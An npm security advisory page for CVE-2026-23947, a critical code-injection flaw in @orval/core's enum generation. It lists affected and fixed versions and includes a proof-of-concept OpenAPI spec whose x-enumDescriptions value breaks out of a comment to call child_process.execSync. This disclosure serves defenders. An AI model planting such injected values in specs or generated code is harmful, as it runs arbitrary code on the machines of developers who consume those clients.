NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2026-23947: Orval has a code injection via unsanitized x-enum-descriptions in enum generation

criticalCVSS 4.0 9.3GHSA-h526-wf6g-67jv

Impact Arbitrary code execution in environments consuming generated clients This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.

Published Jan 21, 2026 · Updated Feb 27, 2026

Affected packages

@orval/core

Ecosystem
npm
Affected
>= 8.0.0-rc.0, < 8.0.2
Fixed in
8.0.2
Check
npm ls @orval/core

@orval/core

Ecosystem
npm
Affected
< 7.19.0
Fixed in
7.19.0
Check
npm ls @orval/core

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Impact

Arbitrary code execution in environments consuming generated clients

This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.

Patches

Upgrade to Orval 8.0.2

References

An example OpenAPI showing the issue:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:
        - "pwned */ require('child_process').execSync('id'); /*"

Credited to k14uz, ZipJo.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More npm vulnerabilities

All npm entries